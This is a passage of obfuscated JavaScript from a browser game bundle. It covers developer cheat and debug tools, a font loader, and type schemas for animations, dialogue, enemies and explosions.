_0x2e9ea9['filter'](_0x5d804b => 'Portal' === _0x5d804b['getConfig']()['name'])['some'](_0x1f87ce => 'DISABLED' !== _0x1f87ce['getFromStore']('portalSummoningState')); _0x2e9ea9['forEach'](_0x250551 => { _0x250551['store']['update']('portalSummoningState', _0x1b43f0 ? 'DISABLED' : 'IDLE'); }); }), document['getElementById']('cheat_tincl')?.['addEventListener']('click', () => { this['gameMessageBus']['publish']('voidRun'); const _0x4e2cde = this['gameStore']['get']('runState'), _0x29d9b8 = _0x4e2cde['levelStates'][_0x4e2cde['currentLevelIndex']]; _0x29d9b8['levelTimeMS'] = this['gameContext']['timeProvider']['currentEngineTime'], _0x29d9b8['finished'] = !0x0, _0x4e2cde['levelStates'][_0x4e2cde['currentLevelIndex']] = _0x29d9b8, this['gameStore']['update']('runState', _0x4e2cde, { 'forceUpdate': !0x0 }), this['gameMessageBus']['publish']('mainObjectiveFinished', { 'name': 'completeAllWaves' }); }); } ['setupConsoleDebug']() { const _0x44996b = { 'devTools': this, 'core': this['core'], 'gameLoop': this['gameLoop'], 'gameContext': this['gameContext'], 'gameStore': this['gameStore'], 'gameMessageBus': this['gameMessageBus'], 'analyzeBody': _0x450e9f['analyzeBody'], 'analyzeBodyByHandle': _0x450e9f['analyzeBodyByHandle'] }; window['game'] = _0x44996b; } ['takeScreenshot']() { const _0x563700 = this['config']['phaserGame']['canvas']['toDataURL']('image/png'), _0x3d6379 = document['createElement']('a'); _0x3d6379['href'] = _0x563700, _0x3d6379['download'] = 'variance_screenshot.png', _0x3d6379['click'](); } ['showDevUi']() { document['querySelectorAll']('.ui_hidden')['forEach'](_0x4fbeff => _0x4fbeff['classList']['replace']('ui_hidden', 'ui_visible')); } ['hideDevUi']() { document['querySelectorAll']('.ui_visible')['forEach'](_0x57a330 => _0x57a330['classList']['replace']('ui_visible', 'ui_hidden')); } ['setupDevUiKeyboardtoggle']() { document['addEventListener']('keydown', _0x3a6aac => { '`' === _0x3a6aac['key'] && (document['querySelectorAll']('.ui_hidden')['length'] > 0x0 ? this['showDevUi']() : this['hideDevUi']()); }); } ['printDebugStatusMessage'](_0x245c86, _0x7c80e4) { document['getElementById']('status') && (document['getElementById']('status')['innerHTML'] = '' + _0x245c86, _0x7c80e4 && (document['getElementById']('replay_data')['innerHTML'] = '' + _0x7c80e4)); } ['getReplayData']() { return this['gameStore']['get']('replayData'); } ['createStats']() { const _0x56105b = new _0x440ad9['default'](); return _0x56105b['showPanel'](0x0), _0x56105b['dom']['style']['left'] = 'auto', _0x56105b['dom']['style']['right'] = '0px', _0x56105b['dom']['style']['top'] = 'auto', _0x56105b['dom']['style']['bottom'] = '0px', _0x56105b['dom']['style']['transform'] = 'scale(1.5)', _0x56105b['dom']['style']['transformOrigin'] = 'bottom\x20right', _0x56105b['dom']['classList']['add']('ui_visible'), document['body']['appendChild'](_0x56105b['dom']), _0x56105b; } ['setupVersion']() { document['getElementById']('version')['innerHTML'] = 'VERSION:\x200.34.30'; } ['uploadReplay']() { const _0x3c26db = document['createElement']('input'); _0x3c26db['type'] = 'file', _0x3c26db['accept'] = '.json', _0x3c26db['onchange'] = () => { const _0x459fac = _0x3c26db['files']?.[0x0]; if (!_0x459fac) return; const _0x93772e = new FileReader(); _0x93772e['onload'] = () => { try { const _0x4b0d1d = JSON['parse'](_0x93772e['result']); this['gameStore']['update']('replayData', _0x4b0d1d); } catch (_0x16d30f) { } }, _0x93772e['readAsText'](_0x459fac); }, _0x3c26db['click'](); } }; }, 0x19c0: function (_0xbed77f, _0x91c5ff, _0x5ba899) { 'use strict'; var _0x47f051 = this && this['__createBinding'] || (Object['create'] ? function (_0x54a43e, _0x3a80ce, _0x23278a, _0x3df873) { void 0x0 === _0x3df873 && (_0x3df873 = _0x23278a); var _0x1fdf92 = Object['getOwnPropertyDescriptor'](_0x3a80ce, _0x23278a); _0x1fdf92 && !('get' in _0x1fdf92 ? !_0x3a80ce['__esModule'] : _0x1fdf92['writable'] || _0x1fdf92['configurable']) || (_0x1fdf92 = { 'enumerable': !0x0, 'get': function () { return _0x3a80ce[_0x23278a]; } }), Object['defineProperty'](_0x54a43e, _0x3df873, _0x1fdf92); } : function (_0x586655, _0x1d6cb3, _0x205ae8, _0x5493c8) { void 0x0 === _0x5493c8 && (_0x5493c8 = _0x205ae8), _0x586655[_0x5493c8] = _0x1d6cb3[_0x205ae8]; }), _0x542863 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x1dd141, _0x217a83) { Object['defineProperty'](_0x1dd141, 'default', { 'enumerable': !0x0, 'value': _0x217a83 }); } : function (_0x5cc700, _0x185bc9) { _0x5cc700['default'] = _0x185bc9; }), _0x104e6e = this && this['__importStar'] || function (_0x11b4e2) { if (_0x11b4e2 && _0x11b4e2['__esModule']) return _0x11b4e2; var _0x1190f7 = {}; if (null != _0x11b4e2) { for (var _0x49029f in _0x11b4e2) 'default' !== _0x49029f && Object['prototype']['hasOwnProperty']['call'](_0x11b4e2, _0x49029f) && _0x47f051(_0x1190f7, _0x11b4e2, _0x49029f); } return _0x542863(_0x1190f7, _0x11b4e2), _0x1190f7; }; Object['defineProperty'](_0x91c5ff, '__esModule', { 'value': !0x0 }), _0x91c5ff['FontLoader'] = void 0x0; const _0x50523c = _0x104e6e(_0x5ba899(0x21fe)); _0x91c5ff['FontLoader'] = class { static ['fonts'] = {}; static async['loadFonts']() { const _0x31a91d = _0x50523c['fonts']; await Promise['all'](_0x31a91d['map'](_0x25377e => this['loadFont'](_0x25377e))); } static async['loadFont'](_0x6b5fc5) { if (this['fonts'][_0x6b5fc5['fontFamily']]) return; const _0x213c6f = document['createElement']('style'); _0x213c6f['textContent'] = '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20@font-face\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\x27' + _0x6b5fc5['fontFamily'] + '\x27;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20src:\x20url(\x27' + _0x6b5fc5['fontFilePath'] + '\x27)\x20format(\x27' + (_0x6b5fc5['format'] || 'truetype') + '\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20' + ('truetype-variations' === _0x6b5fc5['format'] ? 'font-weight:\x20100\x20900;' : '') + '\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-style:\x20normal;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20', document['head']['appendChild'](_0x213c6f); const _0x36ac27 = new FontFace(_0x6b5fc5['fontFamily'], 'url(' + _0x6b5fc5['fontFilePath'] + ')', 'truetype-variations' === _0x6b5fc5['format'] ? { 'weight': '100\x20900' } : void 0x0); await _0x36ac27['load'](), document['fonts']['add'](_0x36ac27), this['fonts'][_0x6b5fc5['fontFamily']] = _0x6b5fc5['fontFilePath']; } }; }, 0xb8f: function (_0x1eb49d, _0x48d306, _0x55e853) { 'use strict'; var _0x16b43e = this && this['__createBinding'] || (Object['create'] ? function (_0x29870f, _0x407663, _0x4daa0b, _0x31232c) { void 0x0 === _0x31232c && (_0x31232c = _0x4daa0b); var _0x4ee688 = Object['getOwnPropertyDescriptor'](_0x407663, _0x4daa0b); _0x4ee688 && !('get' in _0x4ee688 ? !_0x407663['__esModule'] : _0x4ee688['writable'] || _0x4ee688['configurable']) || (_0x4ee688 = { 'enumerable': !0x0, 'get': function () { return _0x407663[_0x4daa0b]; } }), Object['defineProperty'](_0x29870f, _0x31232c, _0x4ee688); } : function (_0x4a7877, _0xa1ef89, _0x5bb910, _0x2cce03) { void 0x0 === _0x2cce03 && (_0x2cce03 = _0x5bb910), _0x4a7877[_0x2cce03] = _0xa1ef89[_0x5bb910]; }), _0xfaea2b = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x3495c1, _0x385d15) { Object['defineProperty'](_0x3495c1, 'default', { 'enumerable': !0x0, 'value': _0x385d15 }); } : function (_0x149092, _0x438d1d) { _0x149092['default'] = _0x438d1d; }), _0x164837 = this && this['__importStar'] || function (_0x566d41) { if (_0x566d41 && _0x566d41['__esModule']) return _0x566d41; var _0x485fc3 = {}; if (null != _0x566d41) { for (var _0x245a1a in _0x566d41) 'default' !== _0x245a1a && Object['prototype']['hasOwnProperty']['call'](_0x566d41, _0x245a1a) && _0x16b43e(_0x485fc3, _0x566d41, _0x245a1a); } return _0xfaea2b(_0x485fc3, _0x566d41), _0x485fc3; }; Object['defineProperty'](_0x48d306, '__esModule', { 'value': !0x0 }), _0x48d306['buildAnimationConfig'] = _0x48d306['TAnimationConfig'] = void 0x0; const _0x3f211a = _0x164837(_0x55e853(0x22f3)), _0x4fc5b5 = _0x55e853(0x1c), _0x38a834 = _0x55e853(0x1337), _0x2a174c = _0x3f211a['type']({ 'key': _0x3f211a['string'], 'frameRate': _0x3f211a['number'], 'frames': _0x3f211a['type']({ 'name': _0x3f211a['string'], 'config': _0x3f211a['record'](_0x3f211a['string'], _0x3f211a['unknown']) }) }), _0x4d0228 = _0x3f211a['type']({ 'staticFrame': _0x3f211a['string'], 'durationMS': _0x3f211a['union']([_0x3f211a['number'], _0x3f211a['undefined']]) }), _0x42fec6 = _0x3f211a['intersection']([_0x3f211a['type']({ 'startTimeMS': _0x3f211a['number'], 'durationMS': _0x3f211a['number'], 'initialAlpha': _0x3f211a['number'], 'targetAlpha': _0x3f211a['number'] }), _0x3f211a['partial']({ 'initialScale': _0x3f211a['number'], 'targetScale': _0x3f211a['number'] })]), _0x1485e = _0x3f211a['union']([_0x3f211a['literal']('CONSTANT'), _0x3f211a['literal']('USE_ROTATION')]), _0x1ad93b = _0x3f211a['intersection']([_0x3f211a['type']({ 'animationConfig': _0x3f211a['union']([_0x2a174c, _0x4d0228]), 'textureName': _0x3f211a['string'] }), _0x3f211a['partial']({ 'rotationType': _0x1485e, 'flipXForLeftDirection': _0x3f211a['boolean'], 'offsetPosition': _0x3f211a['type']({ 'x': _0x3f211a['number'], 'y': _0x3f211a['number'] }), 'offsetRotation': _0x3f211a['number'], 'affectedByLight': _0x3f211a['boolean'], 'swapX': _0x3f211a['boolean'], 'swapY': _0x3f211a['boolean'], 'tint': _0x3f211a['string'], 'scale': _0x3f211a['number'], 'scaleX': _0x3f211a['number'], 'scaleY': _0x3f211a['number'], 'blendMode': _0x3f211a['string'], 'alpha': _0x3f211a['number'], 'fade': _0x42fec6, 'eventFrames': _0x3f211a['array'](_0x3f211a['string']), 'playNextAnimationOnEnd': _0x3f211a['string'], 'cannotBeRestartedByThisAnimation': _0x3f211a['string'], 'renderDepthOffset': _0x3f211a['number'] })]), _0x150810 = _0x3f211a['intersection']([_0x1ad93b, _0x3f211a['type']({ 'durationMS': _0x3f211a['number'], 'destroyOnAnimationEnd': _0x3f211a['union']([_0x3f211a['boolean'], _0x3f211a['undefined']]) })]), _0x3c88c1 = _0x3f211a['intersection']([_0x1ad93b, _0x3f211a['type']({ 'durationMS': _0x3f211a['union']([_0x3f211a['number'], _0x3f211a['undefined']]), 'destroyOnAnimationEnd': _0x3f211a['boolean'] })]); _0x48d306['TAnimationConfig'] = (0x0, _0x4fc5b5['withMessage'])(_0x3f211a['union']([_0x150810, _0x3c88c1]), _0x38a834['verificationFailureParser']); const _0x458a41 = _0x582323 => 'frames' in _0x582323; _0x48d306['buildAnimationConfig'] = function (_0x3ecf4c, _0x2b0c81) { return Object['values'](_0x2b0c81)['forEach'](_0xf9693e => { if (_0x458a41(_0xf9693e['animationConfig'])) { const _0x4559e1 = _0x3ecf4c['anims']['generateFrameNames'](_0xf9693e['animationConfig']['frames']['name'], _0xf9693e['animationConfig']['frames']['config']); _0xf9693e['animationConfig']['frames'] = _0x4559e1; } }), _0x2b0c81; }; }, 0xcc9: function (_0x20a44e, _0x46158c, _0x3ac958) { 'use strict'; var _0x35b8ef = this && this['__createBinding'] || (Object['create'] ? function (_0x5e4502, _0x34bd1c, _0x1869a9, _0x4790d7) { void 0x0 === _0x4790d7 && (_0x4790d7 = _0x1869a9); var _0x1b89b2 = Object['getOwnPropertyDescriptor'](_0x34bd1c, _0x1869a9); _0x1b89b2 && !('get' in _0x1b89b2 ? !_0x34bd1c['__esModule'] : _0x1b89b2['writable'] || _0x1b89b2['configurable']) || (_0x1b89b2 = { 'enumerable': !0x0, 'get': function () { return _0x34bd1c[_0x1869a9]; } }), Object['defineProperty'](_0x5e4502, _0x4790d7, _0x1b89b2); } : function (_0x5da990, _0x448681, _0x89beae, _0x194045) { void 0x0 === _0x194045 && (_0x194045 = _0x89beae), _0x5da990[_0x194045] = _0x448681[_0x89beae]; }), _0x1603a8 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x3c96ea, _0x18bab) { Object['defineProperty'](_0x3c96ea, 'default', { 'enumerable': !0x0, 'value': _0x18bab }); } : function (_0x554b86, _0x360f13) { _0x554b86['default'] = _0x360f13; }), _0x1f0c9c = this && this['__importStar'] || function (_0x10d0e8) { if (_0x10d0e8 && _0x10d0e8['__esModule']) return _0x10d0e8; var _0x404f82 = {}; if (null != _0x10d0e8) { for (var _0x2fe680 in _0x10d0e8) 'default' !== _0x2fe680 && Object['prototype']['hasOwnProperty']['call'](_0x10d0e8, _0x2fe680) && _0x35b8ef(_0x404f82, _0x10d0e8, _0x2fe680); } return _0x1603a8(_0x404f82, _0x10d0e8), _0x404f82; }; Object['defineProperty'](_0x46158c, '__esModule', { 'value': !0x0 }), _0x46158c['TDialogueConfig'] = _0x46158c['TDialogueMessageConfig'] = _0x46158c['TDialogueEffect'] = _0x46158c['TDialogueMessageEffect'] = _0x46158c['TCharacterSpeaking'] = _0x46158c['EDialogueEffect'] = _0x46158c['EDialogueMessageEffect'] = _0x46158c['ECharacterSpeaking'] = void 0x0; const _0x1bbc7b = _0x3ac958(0x1ecd), _0x3a82e0 = _0x1f0c9c(_0x3ac958(0x22f3)); var _0x7b61cf, _0x339757, _0x41b918; !function (_0x592fe0) { _0x592fe0['LEFT'] = 'LEFT', _0x592fe0['RIGHT'] = 'RIGHT'; }(_0x7b61cf = _0x46158c['ECharacterSpeaking'] || (_0x46158c['ECharacterSpeaking'] = {})), function (_0x6de9f7) { _0x6de9f7['CHARACTER_MOVE_IN'] = 'CHARACTER_MOVE_IN', _0x6de9f7['CHARACTER_MOVE_OUT'] = 'CHARACTER_MOVE_OUT'; }(_0x339757 = _0x46158c['EDialogueMessageEffect'] || (_0x46158c['EDialogueMessageEffect'] = {})), function (_0x2daf17) { _0x2daf17['BLUR'] = 'BLUR', _0x2daf17['VIGNETTE'] = 'VIGNETTE'; }(_0x41b918 = _0x46158c['EDialogueEffect'] || (_0x46158c['EDialogueEffect'] = {})), _0x46158c['TCharacterSpeaking'] = _0x3a82e0['union']([_0x3a82e0['literal'](_0x7b61cf['LEFT']), _0x3a82e0['literal'](_0x7b61cf['RIGHT'])]), _0x46158c['TDialogueMessageEffect'] = _0x3a82e0['union']([_0x3a82e0['literal'](_0x339757['CHARACTER_MOVE_IN']), _0x3a82e0['literal'](_0x339757['CHARACTER_MOVE_OUT'])]), _0x46158c['TDialogueEffect'] = _0x3a82e0['union']([_0x3a82e0['literal'](_0x41b918['BLUR']), _0x3a82e0['literal'](_0x41b918['VIGNETTE'])]), _0x46158c['TDialogueMessageConfig'] = _0x3a82e0['intersection']([_0x3a82e0['type']({ 'text': _0x3a82e0['string'], 'characterSpeaking': _0x46158c['TCharacterSpeaking'] }), _0x3a82e0['partial']({ 'characterName': _0x3a82e0['string'], 'textSpeed': _0x3a82e0['number'], 'characterAnimationPath': _0x3a82e0['string'], 'effects': _0x3a82e0['array'](_0x46158c['TDialogueMessageEffect']), 'messageSound': _0x1bbc7b['TRequestSoundConfig'], 'progressToNextMessageAfterMS': _0x3a82e0['number'] })]), _0x46158c['TDialogueConfig'] = _0x3a82e0['intersection']([_0x3a82e0['type']({ 'messages': _0x3a82e0['array'](_0x46158c['TDialogueMessageConfig']), 'leftCharacterAnimationPath': _0x3a82e0['string'], 'rightCharacterAnimationPath': _0x3a82e0['string'], 'leftCharacterName': _0x3a82e0['string'], 'rightCharacterName': _0x3a82e0['string'] }), _0x3a82e0['partial']({ 'effect': _0x3a82e0['union']([_0x3a82e0['array'](_0x46158c['TDialogueEffect']), _0x46158c['TDialogueEffect']]), 'initialSound': _0x1bbc7b['TRequestSoundConfig'], 'finalSound': _0x1bbc7b['TRequestSoundConfig'], 'repeatIfLastDialogue': _0x3a82e0['boolean'] })]); }, 0x1782: function (_0x9f4745, _0x113e6d, _0x5832d1) { 'use strict'; var _0x3e6148 = this && this['__createBinding'] || (Object['create'] ? function (_0x965266, _0x51794f, _0x1ff778, _0xb1831a) { void 0x0 === _0xb1831a && (_0xb1831a = _0x1ff778); var _0x2d4ef4 = Object['getOwnPropertyDescriptor'](_0x51794f, _0x1ff778); _0x2d4ef4 && !('get' in _0x2d4ef4 ? !_0x51794f['__esModule'] : _0x2d4ef4['writable'] || _0x2d4ef4['configurable']) || (_0x2d4ef4 = { 'enumerable': !0x0, 'get': function () { return _0x51794f[_0x1ff778]; } }), Object['defineProperty'](_0x965266, _0xb1831a, _0x2d4ef4); } : function (_0x14de48, _0x21472e, _0x2dec4a, _0x580733) { void 0x0 === _0x580733 && (_0x580733 = _0x2dec4a), _0x14de48[_0x580733] = _0x21472e[_0x2dec4a]; }), _0x344d53 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x2e0b99, _0x592245) { Object['defineProperty'](_0x2e0b99, 'default', { 'enumerable': !0x0, 'value': _0x592245 }); } : function (_0x25a88a, _0x4f0dbe) { _0x25a88a['default'] = _0x4f0dbe; }), _0x3fd8a6 = this && this['__importStar'] || function (_0x378e37) { if (_0x378e37 && _0x378e37['__esModule']) return _0x378e37; var _0x1abea0 = {}; if (null != _0x378e37) { for (var _0xcf117d in _0x378e37) 'default' !== _0xcf117d && Object['prototype']['hasOwnProperty']['call'](_0x378e37, _0xcf117d) && _0x3e6148(_0x1abea0, _0x378e37, _0xcf117d); } return _0x344d53(_0x1abea0, _0x378e37), _0x1abea0; }; Object['defineProperty'](_0x113e6d, '__esModule', { 'value': !0x0 }), _0x113e6d['TEnemyConfig'] = void 0x0; const _0x5264ae = _0x5832d1(0x20e7), _0x23e7c0 = _0x5832d1(0x5f9), _0x4e841b = _0x5832d1(0xed4), _0x3e51ea = _0x3fd8a6(_0x5832d1(0x22f3)), _0x3eb0fe = _0x3e51ea['union']([_0x3e51ea['literal']('SLEEPING'), _0x3e51ea['literal']('IDLE'), _0x3e51ea['literal']('WANDERING'), _0x3e51ea['literal']('PURSUING')]), _0x53ae3a = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'yMovementForce': _0x3e51ea['number'], 'xMovementForce': _0x3e51ea['number'], 'maxXSpeed': _0x3e51ea['number'], 'maxYSpeed': _0x3e51ea['number'], 'minimumLevitationForce': _0x3e51ea['number'], 'levitationGroundDetectionDistance': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'stationary': _0x3e51ea['boolean'], 'obstacleDetectionHeight': _0x3e51ea['number'] })]), _0x19e3fb = _0x3e51ea['type']({ 'name': _0x3e51ea['literal']('flyer'), 'config': _0x53ae3a }), _0x2ec85f = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'xMovementForce': _0x3e51ea['number'], 'maxXSpeed': _0x3e51ea['number'], 'jumpConfig': _0x3e51ea['intersection']([_0x3e51ea['type']({ 'xJumpForce': _0x3e51ea['number'], 'yJumpForce': _0x3e51ea['number'], 'jumpDelayMS': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'jumpNearWall': _0x3e51ea['boolean'], 'jumpNearEdge': _0x3e51ea['boolean'], 'jumpToReachTarget': _0x3e51ea['boolean'] })]) }), _0x3e51ea['partial']({ 'allowFallFromEdgeInStates': _0x3e51ea['array'](_0x3eb0fe), 'allowMovementWhileAttacking': _0x3e51ea['boolean'], 'stationary': _0x3e51ea['boolean'], 'obstacleDetectionHeight': _0x3e51ea['number'] })]), _0x24221d = _0x3e51ea['type']({ 'name': _0x3e51ea['literal']('walker'), 'config': _0x2ec85f }), _0x4d9c40 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'xMovementForce': _0x3e51ea['number'], 'maxXSpeed': _0x3e51ea['number'], 'jumpConfig': _0x3e51ea['intersection']([_0x3e51ea['type']({ 'xJumpForce': _0x3e51ea['number'], 'yJumpForce': _0x3e51ea['number'], 'jumpDelayMS': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'jumpNearWall': _0x3e51ea['boolean'], 'jumpNearEdge': _0x3e51ea['boolean'], 'jumpToReachTarget': _0x3e51ea['boolean'] })]) }), _0x3e51ea['partial']({ 'allowFallFromEdgeInStates': _0x3e51ea['array'](_0x3eb0fe), 'allowMovementWhileAttacking': _0x3e51ea['boolean'], 'stationary': _0x3e51ea['boolean'], 'obstacleDetectionHeight': _0x3e51ea['number'] })]), _0x575b1d = _0x3e51ea['type']({ 'name': _0x3e51ea['literal']('roller'), 'config': _0x4d9c40 }), _0x2e3d98 = _0x3e51ea['type']({ 'name': _0x3e51ea['literal']('immobile'), 'config': _0x3e51ea['partial']({ 'stationary': _0x3e51ea['literal'](!0x0), 'obstacleDetectionHeight': _0x3e51ea['number'] }) }), _0x20fd00 = _0x3e51ea['union']([_0x19e3fb, _0x24221d, _0x575b1d, _0x2e3d98]), _0x2aad17 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'name': _0x3e51ea['literal']('animatedSprite'), 'animationName': _0x3e51ea['union']([_0x3e51ea['string'], _0x3e51ea['array'](_0x3e51ea['string'])]) }), _0x3e51ea['partial']({ 'animationLightName': _0x3e51ea['union']([_0x3e51ea['string'], _0x3e51ea['array'](_0x3e51ea['string'])]), 'runAnimationTimescale': _0x3e51ea['number'], 'idleAnimationTimescale': _0x3e51ea['number'], 'attackAnimationTimescale': _0x3e51ea['number'], 'chargeAnimationTimescale': _0x3e51ea['number'], 'jumpAnimationTimescale': _0x3e51ea['number'], 'explosionOnAnimationEvents': _0x3e51ea['record'](_0x3e51ea['string'], _0x3e51ea['union']([_0x3e51ea['string'], _0x3e51ea['array'](_0x3e51ea['string'])])) })]), _0x550949 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'name': _0x3e51ea['literal']('spine'), 'spineAssetName': _0x3e51ea['string'], 'scale': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'tint': _0x3e51ea['string'], 'offsetPosition': _0x3e51ea['type']({ 'x': _0x3e51ea['number'], 'y': _0x3e51ea['number'] }), 'runAnimationTimescale': _0x3e51ea['number'], 'idleAnimationTimescale': _0x3e51ea['number'], 'attackAnimationTimescale': _0x3e51ea['number'], 'chargeAnimationTimescale': _0x3e51ea['number'], 'jumpAnimationTimescale': _0x3e51ea['number'] })]), _0x3839f2 = _0x3e51ea['union']([_0x2aad17, _0x550949]), _0x138774 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'minAmount': _0x3e51ea['number'], 'maxAmount': _0x3e51ea['number'], 'chunkAnimation': _0x3e51ea['string'] }), _0x3e51ea['partial']({ 'noFadeout': _0x3e51ea['boolean'] })]), _0xddf2f9 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'wantedHorizontalDistanceToPlayer': _0x3e51ea['number'], 'horizontalWantedDistanceRange': _0x3e51ea['number'], 'wantedVerticalDistanceToPlayer': _0x3e51ea['number'], 'verticalWantedDistanceRange': _0x3e51ea['number'], 'wanderDirectionChangeProbability': _0x3e51ea['number'], 'targetDetectionRange': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'verticalWantedDistanceOffset': _0x3e51ea['number'], 'randomStateChangeConfig': _0x3e51ea['record'](_0x3e51ea['string'], _0x3e51ea['intersection']([_0x3e51ea['type']({ 'chancePerSecond': _0x3e51ea['number'], 'states': _0x3e51ea['array'](_0x3eb0fe) }), _0x3e51ea['partial']({ 'minLockedTimeMS': _0x3e51ea['number'], 'maxLockedTimeMS': _0x3e51ea['number'] })])) })]), _0x164c4c = _0x3e51ea['type']({ 'hx': _0x3e51ea['number'], 'hy': _0x3e51ea['number'], 'borderRadius': _0x3e51ea['number'] }), _0xa54609 = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'dropChance': _0x3e51ea['number'], 'dropItem': _0x3e51ea['string'] }), _0x3e51ea['partial']({ 'dropAmount': _0x3e51ea['number'], 'allowedProjectiles': _0x3e51ea['array'](_0x3e51ea['string']) })]), _0x13e2ae = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'childName': _0x3e51ea['string'], 'creationChance': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'initialVelocity': _0x3e51ea['number'], 'spawnInvulnerabilityDurationMS': _0x3e51ea['number'] })]); _0x113e6d['TEnemyConfig'] = _0x3e51ea['intersection']([_0x3e51ea['type']({ 'movementConfig': _0x20fd00, 'renderConfig': _0x3839f2, 'name': _0x3e51ea['string'], 'hp': _0x3e51ea['number'], 'colliderDimensions': _0x164c4c, 'mass': _0x3e51ea['number'], 'weapons': _0x3e51ea['array'](_0x3e51ea['string']), 'aiConfig': _0xddf2f9, 'firingPoints': _0x3e51ea['record'](_0x3e51ea['string'], _0x5264ae['TFiringPointConfig']), 'pointValue': _0x3e51ea['number'] }), _0x3e51ea['partial']({ 'pluralName': _0x3e51ea['string'], 'collidesWithPlayer': _0x3e51ea['boolean'], 'disallowDashThrough': _0x3e51ea['boolean'], 'linearDamping': _0x3e51ea['number'], 'restitution': _0x3e51ea['number'], 'airFriction': _0x3e51ea['number'], 'friction': _0x3e51ea['number'], 'unHittable': _0x3e51ea['boolean'], 'flashOnHit': _0x23e7c0['TFlashConfig'], 'chunksOnHit': _0x3e51ea['array'](_0x138774), 'particlesOnHit': _0x4e841b['TEmitConfig'], 'screenShakeOnHit': _0x23e7c0['TScreenShakeConfig'], 'dropOnHit': _0x3e51ea['array'](_0xa54609), 'flashOnDestroy': _0x23e7c0['TFlashConfig'], 'chunksOnDestroy': _0x3e51ea['array'](_0x138774), 'particlesOnDestroy': _0x4e841b['TEmitConfig'], 'explosionOnDestroy': _0x3e51ea['string'], 'screenShakeOnDestroy': _0x23e7c0['TScreenShakeConfig'], 'dropOnDestroy': _0x3e51ea['array'](_0xa54609), 'childrenOnDestroy': _0x3e51ea['array'](_0x13e2ae), 'timeoutMS': _0x3e51ea['number'], 'explosionOnTimeout': _0x3e51ea['union']([_0x3e51ea['array'](_0x3e51ea['string']), _0x3e51ea['string']]), 'particlesOnTimeout': _0x4e841b['TEmitConfig'], 'stunResistance': _0x3e51ea['number'], 'noOwnLoot': _0x3e51ea['boolean'], 'uiIconPath': _0x3e51ea['string'] })]); }, 0x98d: function (_0x3023f9, _0x409edb, _0x5aa79c) { 'use strict'; var _0x11c349 = this && this['__createBinding'] || (Object['create'] ? function (_0x57740a, _0x26a911, _0x40c0c0, _0x19ab55) { void 0x0 === _0x19ab55 && (_0x19ab55 = _0x40c0c0); var _0x4eea0d = Object['getOwnPropertyDescriptor'](_0x26a911, _0x40c0c0); _0x4eea0d && !('get' in _0x4eea0d ? !_0x26a911['__esModule'] : _0x4eea0d['writable'] || _0x4eea0d['configurable']) || (_0x4eea0d = { 'enumerable': !0x0, 'get': function () { return _0x26a911[_0x40c0c0]; } }), Object['defineProperty'](_0x57740a, _0x19ab55, _0x4eea0d); } : function (_0x402754, _0x3ddddd, _0xcd0c5c, _0x92b4e) { void 0x0 === _0x92b4e && (_0x92b4e = _0xcd0c5c), _0x402754[_0x92b4e] = _0x3ddddd[_0xcd0c5c]; }), _0xdf8315 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x1f2219, _0x366f00) { Object['defineProperty'](_0x1f2219, 'default', { 'enumerable': !0x0, 'value': _0x366f00 }); } : function (_0x5e7666, _0x70e3ee) { _0x5e7666['default'] = _0x70e3ee; }), _0x3ec479 = this && this['__importStar'] || function (_0x1250ed) { if (_0x1250ed && _0x1250ed['__esModule']) return _0x1250ed; var _0x5bc102 = {}; if (null != _0x1250ed) { for (var _0x1e775a in _0x1250ed) 'default' !== _0x1e775a && Object['prototype']['hasOwnProperty']['call'](_0x1250ed, _0x1e775a) && _0x11c349(_0x5bc102, _0x1250ed, _0x1e775a); } return _0xdf8315(_0x5bc102, _0x1250ed), _0x5bc102; }; Object['defineProperty'](_0x409edb, '__esModule', { 'value': !0x0 }), _0x409edb['TExplosionConfig'] = void 0x0; const _0x7af20c = _0x5aa79c(0x5f9), _0xc1ad36 = _0x5aa79c(0xed4), _0x4b1e3d = _0x5aa79c(0x1ecd), _0x550028 = _0x3ec479(_0x5aa79c(0x22f3)), _0x28345d = _0x550028['intersection']([_0x550028['type']({ 'color': _0x550028['string'], 'intensity': _0x550028['number'], 'radius': _0x550028['number'] }), _0x550028['partial']({ 'fadeOutDurationMS': _0x550028['number'], 'fadeInDurationMS': _0x550028['number'] })]), _0x597a62 = _0x550028['intersection']([_0x550028['type']({ 'animationName': _0x550028['array'](_0x550028['string']) }), _0x550028['partial']({ 'min': _0x550028['number'], 'max': _0x550028['number'], 'minDelayMS': _0x550028['number'], 'maxDelayMS': _0x550028['number'], 'maxDistance': _0x550028['number'], 'particles': _0xc1ad36['TEmitConfig'], 'flash': _0x7af20c['TFlashConfig'], 'screenShake': _0x7af20c['TScreenShakeConfig'], 'shaderLightConfig': _0x28345d, 'sound': _0x550028['union']([_0x4b1e3d['TRequestSoundConfig'], _0x550028['array'](_0x4b1e3d['TRequestSoundConfig'])]), 'useAllSounds': _0x550028['boolean'] })]); _0x409edb['TExplosionConfig'] = 